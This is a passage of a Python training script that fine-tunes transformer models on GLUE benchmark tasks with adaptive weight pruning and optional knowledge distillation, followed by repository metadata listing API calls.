else:\n # loss_logits = torch.nn.functional.mse_loss(logits, logits_tea)\n loss_logits = 0.0\n loss = kd_alpha * loss_logits + (1-kd_alpha) * ce_loss\n loss = loss.mean()\n\n if args.fp16:\n with amp.scale_loss(loss, optimizer) as scaled_loss:\n scaled_loss.backward()\n torch.nn.utils.clip_grad_norm_(amp.master_params(optimizer), args.max_grad_norm)\n else:\n loss.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(), args.max_grad_norm)\n\n tr_loss += loss.item()\n if (step + 1) % args.gradient_accumulation_steps == 0:\n scheduler.step() # Update learning rate schedule\n if args.final_threshold != 1.0:\n # Do the pruning step \n threshold, mask_threshold = pruner.update_and_pruning(model, global_step, scheduler.get_lr()[0])\n else:\n threshold = 0.0\n mask_threshold = 0.0\n\n optimizer.step()\n pruner.post_prune(model, mask_threshold)\n model.zero_grad()\n # global_step += 1\n \n\n if args.local_rank in [-1, 0] and args.logging_steps > 0 and global_step % args.logging_steps == 0:\n # Log metrics\n if args.local_rank == -1 and args.evaluate_during_training: # Only evaluate when single GPU otherwise metrics may not average well\n results = evaluate(args, model, tokenizer)\n for key, value in results.items():\n tb_writer.add_scalar('eval_{}'.format(key), value, global_step)\n logger.info(\"[Evaluation] Epoch {epoch:d} | Step: {global_step:d} | eval_{key} {value}\".format(\n epoch = epochs_trained, global_step = global_step, \n key = key, value = value, \n ))\n # update best_eval_ckpt as teacher\n if key in ['f1', 'acc', 'mcc'] and value > best_eval_metric:\n best_eval_metric = value\n best_eval_ckpt = deepcopy(model.state_dict())\n teacher_updated = True\n sparse_teacher = True\n logger.info(\"Teacher model updated with eval_metric: {}\".format(best_eval_metric))\n\n if key in ['f1', 'acc', 'mcc'] and value > best_eval_metric_stu and abs(threshold-args.final_threshold)<=0.01:\n best_eval_metric_stu = value\n if not os.path.exists(args.output_dir) and args.local_rank in [-1, 0]:\n os.makedirs(args.output_dir)\n model_to_save = model.module if hasattr(model,\n 'module') else model # Take care of distributed/parallel training\n model_to_save.save_pretrained(args.output_dir)\n tokenizer.save_pretrained(args.output_dir)\n logger.info(\"Current Best eval_{}: {}\".format(key, best_eval_metric_stu))\n\n tb_writer.add_scalar('lr', scheduler.get_lr()[0], global_step)\n tb_writer.add_scalar('loss', (tr_loss - logging_loss) / args.logging_steps, global_step)\n tb_writer.add_scalar(\"prune_target\", threshold, global_step)\n if mask_threshold is not None:\n tb_writer.add_scalar(\"mask_threshold\", mask_threshold, global_step)\n logger.info(\"[{No}] Epoch {epoch:d} | step: {global_step:d} | loss {loss:.5f} | threshold {threshold:.3f} | lc_update_coeff {lc_update_coeff}\".format(\n No = No, epoch = epochs_trained, global_step = global_step, \n loss=(tr_loss - logging_loss) / args.logging_steps,\n threshold = threshold,\n lc_update_coeff=pruner.lc_update_coeff\n ))\n logging_loss = tr_loss\n\n if args.local_rank in [-1, 0] and args.save_steps > 0 and global_step % args.save_steps == 0:\n # Save model checkpoint\n output_dir = os.path.join(args.output_dir, 'checkpoint-{}'.format(global_step))\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n model_to_save = model.module if hasattr(model,\n 'module') else model # Take care of distributed/parallel training\n model_to_save.save_pretrained(output_dir)\n torch.save(args, os.path.join(output_dir, 'training_args.bin'))\n logger.info(\"Saving model checkpoint to %s\", output_dir)\n\n global_step += 1\n\n if args.max_steps > 0 and global_step > args.max_steps:\n epoch_iterator.close()\n break\n if args.max_steps > 0 and global_step > args.max_steps:\n train_iterator.close()\n break\n\n logger.info(\"Current Best eval metric: {}\".format(best_eval_metric_stu))\n if args.local_rank in [-1, 0]:\n tb_writer.close()\n\n return global_step, tr_loss / global_step, pruner\n\n\ndef evaluate(args, model, tokenizer, prefix=\"\"):\n # Loop to handle MNLI double evaluation (matched, mis-matched)\n eval_task_names = (\"mnli\", \"mnli-mm\") if args.task_name == \"mnli\" else (args.task_name,)\n eval_outputs_dirs = (args.output_dir, args.output_dir + '-MM') if args.task_name == \"mnli\" else (args.output_dir,)\n\n results = {}\n for eval_task, eval_output_dir in zip(eval_task_names, eval_outputs_dirs):\n eval_dataset = load_and_cache_examples(args, eval_task, tokenizer, evaluate=True)\n\n if not os.path.exists(eval_output_dir) and args.local_rank in [-1, 0]:\n os.makedirs(eval_output_dir)\n\n args.eval_batch_size = args.per_gpu_eval_batch_size * max(1, args.n_gpu)\n # Note that DistributedSampler samples randomly\n eval_sampler = SequentialSampler(eval_dataset) if args.local_rank == -1 else DistributedSampler(eval_dataset)\n eval_dataloader = DataLoader(eval_dataset, sampler=eval_sampler, batch_size=args.eval_batch_size)\n\n # Eval!\n logger.info(\"***** Running evaluation {} *****\".format(prefix))\n logger.info(\" Num examples = %d\", len(eval_dataset))\n logger.info(\" Batch size = %d\", args.eval_batch_size)\n eval_loss = 0.0\n nb_eval_steps = 0\n preds = None\n out_label_ids = None\n for batch in tqdm(eval_dataloader, desc=\"Evaluating\"):\n model.eval()\n batch = tuple(t.to(args.device) for t in batch)\n\n with torch.no_grad():\n inputs = {'input_ids': batch[0],\n 'attention_mask': batch[1],\n 'token_type_ids': batch[2] if args.model_type in ['bert', 'xlnet'] else None,\n # XLM and RoBERTa don't use segment_ids\n 'labels': batch[3]}\n outputs = model(**inputs)\n tmp_eval_loss, logits = outputs[:2]\n\n eval_loss += tmp_eval_loss.mean().item()\n nb_eval_steps += 1\n if preds is None:\n preds = logits.detach().cpu().numpy()\n out_label_ids = inputs['labels'].detach().cpu().numpy()\n else:\n preds = np.append(preds, logits.detach().cpu().numpy(), axis=0)\n out_label_ids = np.append(out_label_ids, inputs['labels'].detach().cpu().numpy(), axis=0)\n\n eval_loss = eval_loss / nb_eval_steps\n if args.output_mode == \"classification\":\n preds = np.argmax(preds, axis=1)\n elif args.output_mode == \"regression\":\n preds = np.squeeze(preds)\n result = compute_metrics(eval_task, preds, out_label_ids)\n results.update(result)\n\n output_eval_file = os.path.join(eval_output_dir, \"eval_results.txt\")\n with open(output_eval_file, \"w\") as writer:\n logger.info(\"***** Eval results {} *****\".format(prefix))\n for key in sorted(result.keys()):\n logger.info(\" %s = %s\", key, str(result[key]))\n writer.write(\"%s = %s\\n\" % (key, str(result[key])))\n\n return results\n\n\ndef load_and_cache_examples(args, task, tokenizer, evaluate=False):\n if args.local_rank not in [-1, 0] and not evaluate:\n torch.distributed.barrier() # Make sure only the first process in distributed training process the dataset, and the others will use the cache\n\n processor = processors[task]()\n output_mode = output_modes[task]\n # Load data features from cache or dataset file\n cached_features_file = os.path.join(args.data_dir, 'cached_{}_{}_{}_{}'.format(\n 'dev' if evaluate else 'train',\n list(filter(None, args.model_name_or_path.split('/'))).pop(),\n str(args.max_seq_length),\n str(task)))\n if os.path.exists(cached_features_file):\n logger.info(\"Loading features from cached file %s\", cached_features_file)\n features = torch.load(cached_features_file)\n else:\n logger.info(\"Creating features from dataset file at %s\", args.data_dir)\n label_list = processor.get_labels()\n if task in ['mnli', 'mnli-mm'] and args.model_type in ['roberta']:\n # HACK(label indices are swapped in RoBERTa pretrained model)\n label_list[1], label_list[2] = label_list[2], label_list[1]\n examples = processor.get_dev_examples(args.data_dir) if evaluate else processor.get_train_examples(\n args.data_dir)\n features = convert_examples_to_features(examples, tokenizer, args.max_seq_length, task, label_list, output_mode,\n )\n if args.local_rank in [-1, 0]:\n logger.info(\"Saving features into cached file %s\", cached_features_file)\n torch.save(features, cached_features_file)\n\n if args.local_rank == 0 and not evaluate:\n torch.distributed.barrier() # Make sure only the first process in distributed training process the dataset, and the others will use the cache\n\n # Convert to Tensors and build dataset\n all_input_ids = torch.tensor([f.input_ids for f in features], dtype=torch.long)\n all_input_mask = torch.tensor([f.attention_mask for f in features], dtype=torch.long)\n all_segment_ids = torch.tensor([f.token_type_ids for f in features], dtype=torch.long)\n if output_mode == \"classification\":\n all_label_ids = torch.tensor([f.label for f in features], dtype=torch.long)\n elif output_mode == \"regression\":\n all_label_ids = torch.tensor([f.label for f in features], dtype=torch.float)\n\n dataset = TensorDataset(all_input_ids, all_input_mask, all_segment_ids, all_label_ids)\n return dataset\n\n\ndef main():\n parser = argparse.ArgumentParser()\n\n ## Required parameters\n parser.add_argument(\"--data_dir\", default=None, type=str, required=True,\n help=\"The input data dir. Should contain the .tsv files (or other data files) for the task.\")\n parser.add_argument(\"--model_type\", default=None, type=str, required=True,\n help=\"Model type selected in the list: \" + \", \".join(MODEL_CLASSES.keys()))\n parser.add_argument(\"--model_name_or_path\", default=None, type=str, required=True,\n help=\"Path to pre-trained model or shortcut name selected in the list: \")\n parser.add_argument(\"--task_name\", default=None, type=str, required=True,\n help=\"The name of the task to train selected in the list: \" + \", \".join(processors.keys()))\n parser.add_argument(\"--output_dir\", default=None, type=str, required=True,\n help=\"The output directory where the model predictions and checkpoints will be written.\")\n\n ## Other parameters\n parser.add_argument(\"--config_name\", default=\"\", type=str,\n help=\"Pretrained config name or path if not the same as model_name\")\n parser.add_argument(\"--tokenizer_name\", default=\"\", type=str,\n help=\"Pretrained tokenizer name or path if not the same as model_name\")\n parser.add_argument(\"--cache_dir\", default=\"\", type=str,\n help=\"Where do you want to store the pre-trained models downloaded from s3\")\n parser.add_argument(\"--max_seq_length\", default=128, type=int,\n help=\"The maximum total input sequence length after tokenization. Sequences longer \"\n \"than this will be truncated, sequences shorter will be padded.\")\n parser.add_argument(\"--do_train\", action='store_true',\n help=\"Whether to run training.\")\n parser.add_argument(\"--do_eval\", action='store_true',\n help=\"Whether to run eval on the dev set.\")\n parser.add_argument(\"--evaluate_during_training\", action='store_true',\n help=\"Rul evaluation during training at each logging step.\")\n parser.add_argument(\"--do_lower_case\", action='store_true',\n help=\"Set this flag if you are using an uncased model.\")\n\n parser.add_argument(\"--per_gpu_train_batch_size\", default=8, type=int,\n help=\"Batch size per GPU/CPU for training.\")\n parser.add_argument(\"--per_gpu_eval_batch_size\", default=8, type=int,\n help=\"Batch size per GPU/CPU for evaluation.\")\n parser.add_argument('--gradient_accumulation_steps', type=int, default=1,\n help=\"Number of updates steps to accumulate before performing a backward/update pass.\")\n parser.add_argument(\"--learning_rate\", default=5e-5, type=float,\n help=\"The initial learning rate for Adam.\")\n parser.add_argument(\"--weight_decay\", default=0.0, type=float,\n help=\"Weight deay if we apply some.\")\n parser.add_argument(\"--adam_epsilon\", default=1e-8, type=float,\n help=\"Epsilon for Adam optimizer.\")\n parser.add_argument(\"--max_grad_norm\", default=1.0, type=float,\n help=\"Max gradient norm.\")\n parser.add_argument(\"--num_train_epochs\", default=3.0, type=float,\n help=\"Total number of training epochs to perform.\")\n parser.add_argument(\"--max_steps\", default=-1, type=int,\n help=\"If > 0: set total number of training steps to perform. Override num_train_epochs.\")\n\n parser.add_argument('--logging_steps', type=int, default=50,\n help=\"Log every X updates steps.\")\n parser.add_argument('--save_steps', type=int, default=50,\n help=\"Save checkpoint every X updates steps.\")\n parser.add_argument(\"--eval_all_checkpoints\", action='store_true',\n help=\"Evaluate all checkpoints starting with the same prefix as model_name ending and ending with step number\")\n parser.add_argument(\"--no_cuda\", action='store_true',\n help=\"Avoid using CUDA when available\")\n parser.add_argument('--overwrite_output_dir', action='store_true',\n help=\"Overwrite the content of the output directory\")\n parser.add_argument('--overwrite_cache', action='store_true',\n help=\"Overwrite the cached training and evaluation sets\")\n parser.add_argument('--seed', type=int, default=42,\n help=\"random seed for initialization\")\n\n parser.add_argument('--fp16', action='store_true',\n help=\"Whether to use 16-bit (mixed) precision (through NVIDIA apex) instead of 32-bit\")\n parser.add_argument('--fp16_opt_level', type=str, default='O1',\n help=\"For fp16: Apex AMP optimization level selected in ['O0', 'O1', 'O2', and 'O3'].\"\n \"See details at https://nvidia.github.io/apex/amp.html\")\n parser.add_argument(\"--local_rank\", type=int, default=-1,\n help=\"For distributed training: local_rank\")\n parser.add_argument('--server_ip', type=str, default='', help=\"For distant debugging.\")\n parser.add_argument('--server_port', type=str, default='', help=\"For distant debugging.\")\n\n # adaptive pruning\n parser.add_argument('--pruner_name', default='PINS', type=str,\n help=\"[PINS, Magnitude]\")\n parser.add_argument('--beta1', default=0.85, type=float, help=\"beta1 for PINS.\")\n parser.add_argument('--deltaT', default=1, type=int, help=\"The legnth of local window to reweight EMA.\")\n parser.add_argument('--beta2', default=0., type=float, help=\"beta2 for PINS\")\n # pruning schedule\n parser.add_argument('--warmup_steps', default=5400, type=int, help=\"Warmup steps.\")\n parser.add_argument('--initial_threshold', default=1., type=float, help=\"Initial threshold.\")\n parser.add_argument('--final_threshold', default=0.15, type=float, help=\"Final threshold.\")\n parser.add_argument('--initial_warmup', default=1, type=int, help=\"Initial Warmup for Pruner.\")\n parser.add_argument('--final_warmup', default=2, type=int, help=\"Final Warmup for Pruner.\")\n\n # Distillation parameters (optional)\n parser.add_argument(\n \"--teacher_type\",\n default=None,\n type=str,\n help=\"Teacher type. Teacher tokenizer and student (model) tokenizer must output the same tokenization. Only for distillation.\",\n )\n parser.add_argument(\n \"--teacher_name_or_path\",\n default=None,\n type=str,\n help=\"Path to the already fine-tuned teacher model. Only for distillation.\",\n )\n parser.add_argument(\n \"--ce_loss_weight\", default=1.0, type=float, help=\"Cross entropy loss linear weight. Only for distillation.\"\n )\n parser.add_argument(\n \"--distill_loss_weight\", default=0.0, type=float, help=\"Distillation loss linear weight. Only for distillation.\"\n )\n parser.add_argument(\n \"--temperature\", default=2.0, type=float, help=\"Distillation temperature. Only for distillation.\"\n )\n args = parser.parse_args()\n\n if os.path.exists(args.output_dir) and os.listdir(\n args.output_dir) and args.do_train and not args.overwrite_output_dir:\n raise ValueError(\n \"Output directory ({}) already exists and is not empty. Use --overwrite_output_dir to overcome.\".format(\n args.output_dir))\n\n # Setup distant debugging if needed\n if args.server_ip and args.server_port:\n # Distant debugging - see https://code.visualstudio.com/docs/python/debugging#_attach-to-a-local-script\n import ptvsd\n print(\"Waiting for debugger attach\")\n ptvsd.enable_attach(address=(args.server_ip, args.server_port), redirect_output=True)\n ptvsd.wait_for_attach()\n\n # Setup CUDA, GPU & distributed training\n if args.local_rank == -1 or args.no_cuda:\n device = torch.device(\"cuda\" if torch.cuda.is_available() and not args.no_cuda else \"cpu\")\n args.n_gpu = torch.cuda.device_count()\n else: # Initializes the distributed backend which will take care of sychronizing nodes/GPUs\n torch.cuda.set_device(args.local_rank)\n device = torch.device(\"cuda\", args.local_rank)\n torch.distributed.init_process_group(backend='nccl')\n args.n_gpu = 1\n args.device = device\n\n # Setup logging\n for h in logger.handlers:\n logger.removeHandler(h)\n os.makedirs(args.output_dir, exist_ok=True)\n logging.basicConfig(\n filename= os.path.join(args.output_dir, 'log.log'), filemode='a',\n format=\"%(asctime)s - %(levelname)s - %(name)s - %(message)s\",\n datefmt=\"%m/%d/%Y %H:%M:%S\",\n level=logging.INFO if args.local_rank in [-1, 0] else logging.WARN,\n )\n logging.getLogger().addHandler(logging.StreamHandler(sys.stdout))\n logging.info(args.output_dir)\n logger.warning(\n \"Process rank: %s, device: %s, n_gpu: %s, distributed training: %s, 16-bits training: %s\",\n args.local_rank,\n device,\n args.n_gpu,\n bool(args.local_rank != -1),\n args.fp16,\n )\n\n # Set the verbosity to info of the Transformers logger (on main process only):\n if is_main_process(args.local_rank):\n transformers.utils.logging.set_verbosity_info()\n transformers.utils.logging.enable_default_handler()\n transformers.utils.logging.enable_explicit_format()\n # Set seed\n set_seed(args)\n\n # Prepare GLUE task\n args.task_name = args.task_name.lower()\n if args.task_name not in processors:\n raise ValueError(\"Task not found: %s\" % (args.task_name))\n processor = processors[args.task_name]()\n args.output_mode = output_modes[args.task_name]\n label_list = processor.get_labels()\n num_labels = len(label_list)\n\n # Load pretrained model and tokenizer\n if args.local_rank not in [-1, 0]:\n torch.distributed.barrier() # Make sure only the first process in distributed training will download model & vocab\n\n args.model_type = args.model_type.lower()\n config_class, model_class, tokenizer_class = MODEL_CLASSES[args.model_type]\n config = config_class.from_pretrained(args.config_name if args.config_name else args.model_name_or_path,\n num_labels=num_labels, finetuning_task=args.task_name)\n tokenizer = tokenizer_class.from_pretrained(args.tokenizer_name if args.tokenizer_name else args.model_name_or_path,\n do_lower_case=args.do_lower_case)\n model = model_class.from_pretrained(args.model_name_or_path, from_tf=bool('.ckpt' in args.model_name_or_path),\n config=config)\n if args.teacher_type is not None:\n assert args.teacher_name_or_path is not None\n assert args.distill_loss_weight + args.ce_loss_weight > 0.0\n teacher = AutoModelForSequenceClassification.from_pretrained(args.teacher_name_or_path)\n teacher.to(args.device)\n logger.info(\"Using KD\")\n else:\n teacher = None\n\n if args.local_rank == 0:\n torch.distributed.barrier() # Make sure only the first process in distributed training will download model & vocab\n\n model.to(args.device)\n\n logger.info(\"Training/evaluation parameters %s\", args)\n\n # Training\n if args.do_train:\n train_dataset = load_and_cache_examples(args, args.task_name, tokenizer, evaluate=False)\n global_step, tr_loss, PINS = train(args, train_dataset, model, tokenizer, teacher=teacher)\n logger.info(\" global_step = %s, average loss = %s\", global_step, tr_loss)\n\n # Saving best-practices: if you use defaults names for the model, you can reload it using from_pretrained()\n if args.do_train and (args.local_rank == -1 or torch.distributed.get_rank() == 0):\n # Create output directory if needed\n if not os.path.exists(args.output_dir) and args.local_rank in [-1, 0]:\n os.makedirs(args.output_dir)\n # Good practice: save your training arguments together with the trained model\n torch.save(args, os.path.join(args.output_dir, 'training_args.bin'))\n \n # Load a trained model and vocabulary that you have fine-tuned\n model = model_class.from_pretrained(args.output_dir)\n tokenizer = tokenizer_class.from_pretrained(args.output_dir, do_lower_case=args.do_lower_case)\n model.to(args.device)\n\n # Evaluation\n results = {}\n if args.do_eval and args.local_rank in [-1, 0]:\n checkpoints = [args.output_dir]\n if args.eval_all_checkpoints:\n checkpoints = list(\n os.path.dirname(c) for c in sorted(glob.glob(args.output_dir + '/**/' + WEIGHTS_NAME, recursive=True)))\n logging.getLogger(\"pytorch_transformers.modeling_utils\").setLevel(logging.WARN) # Reduce logging\n logger.info(\"Evaluate the following checkpoints: %s\", checkpoints)\n for checkpoint in checkpoints:\n global_step = checkpoint.split('-')[-1] if len(checkpoints) > 1 else \"\"\n model = model_class.from_pretrained(checkpoint)\n model.to(args.device)\n result = evaluate(args, model, tokenizer, prefix=global_step)\n result = dict((k + '_{}'.format(global_step), v) for k, v in result.items())\n results.update(result)\n\n return results\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "DRSY/PINS", "sub_path": "run_glue.py", "file_name": "run_glue.py", "file_ext": "py", "file_size_in_byte": 33835, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.getLogger", "line_number": 36, "usage_type": "call"}, {"api_name": "transformers.BertConfig", "line_number": 40, "usage_type": "name"}, {"api_name": "transformers.BertForSequenceClassification", "line_number": 40, "usage_type": "name"}, {"api_name": "transformers.BertTokenizer", "line_number": 40, "usage_type": "name"}, {"api_name": "transformers.XLNetConfig", "line_number": 41, "usage_type": "name"}, {"api_name": "transformers.XLNetForSequenceClassification", "line_number": 41, "usage_type": "name"}, {"api_name": "transformers.XLNetTokenizer", "line_number": 41, "usage_type": "name"}, {"api_name": "transformers.XLMConfig", "line_number": 42, "usage_type": "name"}, {"api_name": "transformers.XLMForSequenceClassification", "line_number": 42, "usage_type": "name"}, {"api_name": "transformers.XLMTokenizer", "line_number": 42, "usage_type": "name"}, {"api_name": "transformers.RobertaConfig", "line_number": 43, "usage_type": "name"}, {"api_name": "transformers.RobertaForSequenceClassification", "line_number": 43, "usage_type": "name"}, {"api_name": "transformers.RobertaTokenizer", "line_number": 43, "usage_type": "name"}, {"api_name": "transformers.DebertaConfig", "line_number": 44, "usage_type": "name"}, {"api_name": "transformers.DebertaForSequenceClassification", "line_number": 44, "usage_type": "name"}, {"api_name": "transformers.DebertaTokenizer", "line_number": 44, "usage_type": "name"}, {"api_name": "transformers.ElectraConfig", "line_number": 45, "usage_type": "name"}, {"api_name": "transformers.ElectraForSequenceClassification", "line_number": 45, "usage_type": "name"}, {"api_name": "transformers.ElectraTokenizer", "line_number": 45, "usage_type": "name"}, {"api_name": "random.seed", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 51, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 54, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 59, "usage_type": "call"}, {"api_name": "entropy.calc_entropy", "line_number": 60, "usage_type": "call"}, {"api_name": "entropy.calc_entropy", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.log_softmax", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.utils.data.RandomSampler", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.utils.data.distributed.DistributedSampler", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 79, "usage_type": "call"}, {"api_name": "transformers.AdamW", "line_number": 94, "usage_type": "call"}, {"api_name": "transformers.get_linear_schedule_with_warmup", "line_number": 95, "usage_type": "call"}, {"api_name": "apex.amp.initialize", "line_number": 103, "usage_type": "call"}, {"api_name": "apex.amp", "line_number": 103, "usage_type": "name"}, {"api_name": "torch.nn.DataParallel", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 107, "usage_type": "attribute"}, {"api_name": "torch.nn.parallel.DistributedDataParallel", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 111, "usage_type": "attribute"}, {"api_name": "torch.distributed.get_world_size", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 122, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "tqdm.trange", "line_number": 134, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 142, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 160, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 160, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 172, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.nn.functional.kl_div", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 189, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 190, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 190, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.softmax", "line_number": 191, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 191, "usage_type": "attribute"}, {"api_name": "apex.amp.scale_loss", "line_number": 204, "usage_type": "call"}, {"api_name": "apex.amp", "line_number": 204, "usage_type": "name"}, {"api_name": "torch.nn.utils.clip_grad_norm_", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 206, "usage_type": "attribute"}, {"api_name": "apex.amp.master_params", "line_number": 206, "usage_type": "call"}, {"api_name": "apex.amp", "line_number": 206, "usage_type": "name"}, {"api_name": "torch.nn.utils.clip_grad_norm_", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 209, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 240, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 247, "usage_type": "call"}, {"api_name": "os.path", "line_number": 247, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 248, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 270, "usage_type": "call"}, {"api_name": "os.path", "line_number": 270, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 271, "usage_type": "call"}, {"api_name": "os.path", "line_number": 271, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 272, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 276, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 276, "usage_type": "call"}, {"api_name": "os.path", "line_number": 276, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 304, "usage_type": "call"}, {"api_name": "os.path", "line_number": 304, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 305, "usage_type": "call"}, {"api_name": "torch.utils.data.SequentialSampler", "line_number": 309, "usage_type": "call"}, {"api_name": "torch.utils.data.distributed.DistributedSampler", "line_number": 309, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 310, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 320, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 324, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 339, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 340, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 344, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 346, "usage_type": "call"}, {"api_name": "transformers.glue_compute_metrics", "line_number": 347, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 350, "usage_type": "call"}, {"api_name": "os.path", "line_number": 350, "usage_type": "attribute"}, {"api_name": "torch.distributed.barrier", "line_number": 362, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 362, "usage_type": "attribute"}, {"api_name": "transformers.glue_processors", "line_number": 364, "usage_type": "name"}, {"api_name": "transformers.glue_output_modes", "line_number": 365, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 367, "usage_type": "call"}, {"api_name": "os.path", "line_number": 367, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 372, "usage_type": "call"}, {"api_name": "os.path", "line_number": 372, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 374, "usage_type": "call"}, {"api_name": "transformers.glue_convert_examples_to_features", "line_number": 383, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 387, "usage_type": "call"}, {"api_name": "torch.distributed.barrier", "line_number": 390, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 390, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 393, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 393, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 394, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 394, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 395, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 395, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 397, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 397, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 399, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 399, "usage_type": "attribute"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 401, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 406, "usage_type": "call"}, {"api_name": "transformers.glue_processors.keys", "line_number": 416, "usage_type": "call"}, {"api_name": "transformers.glue_processors", "line_number": 416, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 520, "usage_type": "call"}, {"api_name": "os.path", "line_number": 520, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 520, "usage_type": "call"}, {"api_name": "ptvsd.enable_attach", "line_number": 531, "usage_type": "call"}, {"api_name": "ptvsd.wait_for_attach", "line_number": 532, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 536, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 536, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 536, "usage_type": "attribute"}, {"api_name": "torch.cuda.device_count", "line_number": 537, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 537, "usage_type": "attribute"}, {"api_name": "torch.cuda.set_device", "line_number": 539, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 539, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 540, "usage_type": "call"}, {"api_name": "torch.distributed.init_process_group", "line_number": 541, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 541, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 548, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 549, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 550, "usage_type": "call"}, {"api_name": "os.path", "line_number": 550, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 553, "usage_type": "attribute"}, {"api_name": "logging.WARN", "line_number": 553, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 555, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 555, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 556, "usage_type": "call"}, {"api_name": "transformers.trainer_utils.is_main_process", "line_number": 567, "usage_type": "call"}, {"api_name": "transformers.utils.logging.set_verbosity_info", "line_number": 568, "usage_type": "call"}, {"api_name": "transformers.utils", "line_number": 568, "usage_type": "attribute"}, {"api_name": "transformers.utils.logging.enable_default_handler", "line_number": 569, "usage_type": "call"}, {"api_name": "transformers.utils", "line_number": 569, "usage_type": "attribute"}, {"api_name": "transformers.utils.logging.enable_explicit_format", "line_number": 570, "usage_type": "call"}, {"api_name": "transformers.utils", "line_number": 570, "usage_type": "attribute"}, {"api_name": "transformers.glue_processors", "line_number": 576, "usage_type": "name"}, {"api_name": "transformers.glue_processors", "line_number": 578, "usage_type": "name"}, {"api_name": "transformers.glue_output_modes", "line_number": 579, "usage_type": "name"}, {"api_name": "torch.distributed.barrier", "line_number": 585, 